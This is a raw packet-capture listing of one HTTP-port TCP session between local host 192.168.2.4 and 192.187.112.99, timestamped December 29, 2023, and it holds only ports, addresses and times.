Dec 29, 2023 12:06:52.221405983 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221407890 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221416950 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221432924 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221453905 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221510887 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221528053 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221543074 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221551895 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221554995 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221566916 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221581936 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221597910 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221709967 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221721888 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221746922 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221772909 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221894979 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221909046 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.221935034 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.221947908 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.222075939 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.222090960 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.222103119 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.222115040 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.222117901 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.222142935 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.222160101 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352210045 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352226973 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352261066 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352278948 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352339029 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352380037 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352519989 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352559090 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352700949 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352722883 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352749109 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352760077 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352864981 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352880001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352890968 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352900028 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352901936 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352915049 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352916002 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352927923 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352936029 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352940083 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352950096 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.352952957 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352966070 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352976084 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.352991104 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353249073 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353276968 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353287935 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353430986 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353446960 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353457928 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353471041 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353475094 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353487015 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353507042 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353518009 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353602886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353615999 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353626966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353637934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353641033 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353650093 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353657007 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353662968 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353676081 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353691101 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353703976 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353729963 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.353797913 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.353838921 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.354160070 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354176998 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354188919 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354198933 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.354199886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354208946 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.354212999 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354226112 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354234934 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.354237080 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354253054 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.354276896 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.354331970 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354342937 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354353905 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354365110 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.354367971 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.354391098 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.354418993 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.484527111 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.484546900 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.484559059 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.484571934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.484627008 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.484668970 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.484904051 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.484918118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.484960079 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.484973907 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.484989882 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485012054 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485027075 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485039949 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485050917 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485063076 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485064983 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485075951 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485083103 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485107899 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485507011 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485518932 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485533953 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485544920 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485565901 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485580921 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485630035 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485641956 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485652924 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485663891 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485671043 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485699892 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485733986 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485771894 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485773087 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485809088 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485811949 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485826015 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485846043 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485851049 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485872984 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.485876083 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485882998 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.485908985 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486001015 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486012936 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486036062 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486041069 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486052990 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486063957 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486073971 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486099005 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486176968 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486188889 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486200094 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486216068 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486239910 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486241102 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486279964 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486299038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486316919 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486339092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486340046 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486347914 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486351013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486388922 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486397028 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486402988 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486433029 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486460924 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486474037 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486499071 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486507893 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486529112 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486563921 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486579895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486591101 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486601114 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486615896 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486617088 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486632109 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486661911 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486728907 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486741066 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486763954 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486778975 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486790895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486809015 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486819029 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486910105 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486922026 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486949921 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486963034 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.486975908 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.486989975 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487030983 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487063885 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487092972 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487107038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487118006 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487128973 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487131119 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487144947 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487163067 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487252951 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487263918 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487296104 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487314939 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487322092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487334013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487355947 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487377882 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487431049 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487471104 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487493038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487505913 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487517118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487534046 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487545967 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487557888 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487591982 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487605095 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487616062 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487627029 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487631083 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487651110 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487674952 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487763882 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487776995 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487803936 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487812042 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487819910 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487832069 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487843037 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487855911 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487859964 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487910032 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.487927914 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487927914 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487957001 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.487965107 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.488003969 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.488013029 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.488024950 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.488054037 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.488065004 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.617261887 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617302895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617312908 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617325068 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617335081 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617345095 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617353916 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617363930 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617449045 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617495060 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.617495060 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.617499113 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617511988 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.617511988 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617526054 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617566109 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.617692947 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617705107 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617739916 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.617755890 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617769003 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617801905 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.617930889 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.617975950 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.617991924 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618027925 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618036985 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618040085 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618052959 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618062019 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618076086 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618092060 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618119955 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618133068 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618144035 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618165016 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618166924 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618190050 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618201971 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618212938 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618246078 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618288040 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618304014 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618333101 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618382931 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618395090 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618412971 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618423939 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618434906 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618452072 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618474960 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618556976 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618568897 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618578911 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618598938 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618613005 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618616104 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618655920 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618729115 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618741989 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618753910 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618765116 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618769884 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618793011 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618818045 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618844032 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618887901 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618930101 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618942022 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618952990 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618963957 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618974924 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.618978977 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.618999958 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619003057 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619019985 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619041920 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619048119 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619061947 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619083881 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619093895 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619122028 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619209051 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619224072 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619254112 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619256973 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619265079 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619270086 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619293928 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619302988 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619359016 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619405031 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619440079 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619452953 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619465113 CET	80	49729	192.187.112.99	192.168.2.4
